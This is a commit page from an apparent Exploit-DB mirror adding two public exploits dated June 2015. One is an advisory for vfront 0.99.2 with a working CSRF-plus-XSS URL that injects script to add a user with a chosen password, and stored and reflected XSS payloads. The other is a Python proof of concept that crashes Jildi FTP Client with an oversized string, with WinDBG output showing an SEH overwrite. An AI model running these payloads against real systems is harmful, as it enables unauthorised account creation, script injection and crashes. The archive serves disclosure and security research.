bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions 1

DB: 2015-06-04

Browse source 
2 new exploits
This commit is contained in:
Offensive Security 2015-06-04 05:03:09 +00:00
parent 222fb2102d
commit 0e74581282
3 changed files with 193 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

2
files.csv
View file

@ -33375,6 +33375,7 @@ id,file,description,date,author,platform,type,port
36980,platforms/windows/local/36980.py,"VideoCharge Express 3.16.3.04 - BOF Exploit",2015-05-11,evil_comrade,windows,local,0
36981,platforms/windows/local/36981.py,"VideoCharge Professional + Express Vanilla 3.18.4.04 - BOF Exploit",2015-05-11,evil_comrade,windows,local,0
36982,platforms/windows/local/36982.py,"VideoCharge Vanilla 3.16.4.06 - BOF Exploit",2015-05-11,evil_comrade,windows,local,0
37186,platforms/php/webapps/37186.txt,"vfront-0.99.2 CSRF & Persistent XSS",2015-06-03,"John Page",php,webapps,0
36984,platforms/windows/remote/36984.py,"i.FTP 2.21 - Time Field SEH Exploit",2015-05-11,"Revin Hadi Saputra",windows,remote,0
37006,platforms/java/webapps/37006.txt,"Minify 2.1.x 'g' Parameter Cross Site Scripting Vulnerability",2012-03-21,"Ayoub Aboukir",java,webapps,0
36986,platforms/php/webapps/36986.txt,"Pluck 4.7 - Directory Traversal",2015-05-11,"Wad Deek",php,webapps,0
@ -33563,3 +33564,4 @@ id,file,description,date,author,platform,type,port
37180,platforms/php/webapps/37180.txt,"WordPress Newsletter Manager Plugin 1.0 Multiple Cross Site Scripting Vulnerabilities",2012-05-15,"Heine Pedersen",php,webapps,0
37182,platforms/php/webapps/37182.txt,"WordPress LeagueManager 3.9.11 Plugin - SQLi",2015-06-02,javabudd,php,webapps,0
37183,platforms/linux/local/37183.c,"PonyOS <= 3.0 - tty ioctl() Local Kernel Exploit",2015-06-02,"Hacker Fantastic",linux,local,0
37187,platforms/windows/dos/37187.py,"Jildi FTP Client Buffer Overflow PoC",2015-06-03,metacom,windows,dos,21

Can't render this file because it is too large.

131
platforms/php/webapps/37186.txt Executable file
View file

@ -0,0 +1,131 @@
# Exploit Title: CSRF & Persistent XSS
# Google Dork: intitle: CSRF & Persistent XSS
# Date: 2015-06-02
# Exploit Author: John Page (hyp3rlinx)
# Website: hyp3rlinx.altervista.org/
# Vendor Homepage: www.vfront.org
# Software Link: www.vfront.org
# Version: 0.99.2
# Tested on: windows 7
# Category: webapps
Product:
===================================================================================
vfront-0.99.2 is a PHP web based MySQL & PostgreSQL database management application.
Advisory Information:
====================================
CSRF, Persistent XSS & reflected XSS
Vulnerability Detail(s):
=======================
CSRF:
=========
No CSRF token in place, therefore we can add arbitrary users to the system.
Persistent XSS:
================
variabili.php has multiple XSS vectors using POST method, one input field 'altezza_iframe_tabella_gid' will store XSS payload
into the MySQL database which will be run each time variabili.php is accessed from victims browser.
Persisted XSS stored in MySQL DB:
=================================
DB-----> vfront_vfront
TABLE-----> variabili
COLUMN------> valore (will contain our XSS)
Exploit code(s):
===============
CSRF code add arbitrary users to system:
=======================================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/log.php?op="/><script>var xhr%3dnew XMLHttpRequest();xhr.onreadystatechange%3dfunction(){if(xhr.status%3d%3d200){if(xhr.readyState%3d%3d4){alert(xhr.responseText);}}};xhr.open('POST','utenze.db.php?insert_new',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send('nome%3dhyp3rlinxe%26cognome%3dapparitionsec%26email%3dx@x.com%26passwd%3dhacked%26passwd1%3dhacked');</script>&tabella=&uid=&data_dal=All&data_al=All
Persistent XSS:
================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php?feed=0&gidfocus=0
Inject XSS into 'the altezza_iframe_tabella_gid' input field to store in database.
"/><script>alert(666)</script>
Reflected XSS(s):
=================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/query_editor.php?id=&id_table=&id_campo="/><script>alert(666)</script>
XSS vulnerable input fields:
============================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php
altezza_iframe_tabella_gid <------------- ( Persistent XSS )
passo_avanzamento_veloce_gid
n_record_tabella_gid
search_limit_results_gid
max_tempo_edit_gid
home_redirect_gid
formati_attach_gid
default_group_ext_gid
cron_days_min_gid
Disclosure Timeline:
===================================
Vendor Notification: May 31, 2015
June 2, 2015 : Public Disclosure
Severity Level:
===================================
High
Description:
==========================================================
Request Method(s):
[+] GET & POST
Vulnerable Product:
[+] vfront-0.99.2
Vulnerable Parameter(s):
[+] altezza_iframe_tabella_gid
passo_avanzamento_veloce_gid
n_record_tabella_gid
search_limit_results_gid
max_tempo_edit_gid
home_redirect_gid
formati_attach_gid
default_group_ext_gid
cron_days_min_gid
id_campo
op
Affected Area(s): [+] Admin & MySQL DB
===============================================================
(hyp3rlinx)

60
platforms/windows/dos/37187.py Executable file
View file

@ -0,0 +1,60 @@
#!/usr/bin/python
#Exploit Title:Jildi FTP Client Buffer Overflow Poc
#Version:1.5.2 Build 1138
#Homepage:http://de.download.cnet.com/Jildi-FTP-Client/3000-2160_4-10562942.html
#Software Link:http://de.download.cnet.com/Jildi-FTP-Client/3001-2160_4-10562942.html?hasJs=n&hlndr=1&dlm=0
#Tested on:Win7 32bit EN-Ultimate
#Date found: 02.06.2015
#Date published: 02.06.2015
#Author:metacom
'''
===========
Description:
===========
JilidFTP is a powerful ftp-client program for Windows, it fast and reliable
and with lots of useful features. It supports multi-thread file upload or
download , so you can upload or download several files at the same time.
The job manager integrates with the Windows scheduler engine ,this provide
you more freedom and flexibility to upload or download your files.
It can also traces changes within a local directory and apply these
changes to remote ftp server .The user-friendly interface lets your
software distribution, uploading files to a web-server, and providing
archives for various purposes more easily.
============
How to Crash:
============
Copy the AAAA...string from Jildi_FTP.txt to clipboard, open Jildi Ftp and press Connect
and paste it in the Option -- Name or Address --and press connect.
===============================================
Crash Analysis using WinDBG: Option --> Address
===============================================
(f6c.4fc): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000
eip=41414141 esp=000311cc ebp=000311ec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ??
0:000> !exchain
0012ef40: 41414141
Invalid exception stack at 41414141
============================================
Crash Analysis using WinDBG: Option --> Name
============================================
(2ec.dac): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000
eip=41414141 esp=000311cc ebp=000311ec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
0:000> !exchain
0012ef40: 41414141
Invalid exception stack at 41414141
'''
filename="Jildi_FTP.txt"
junk1="\x41" * 20000
buffer=junk1
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()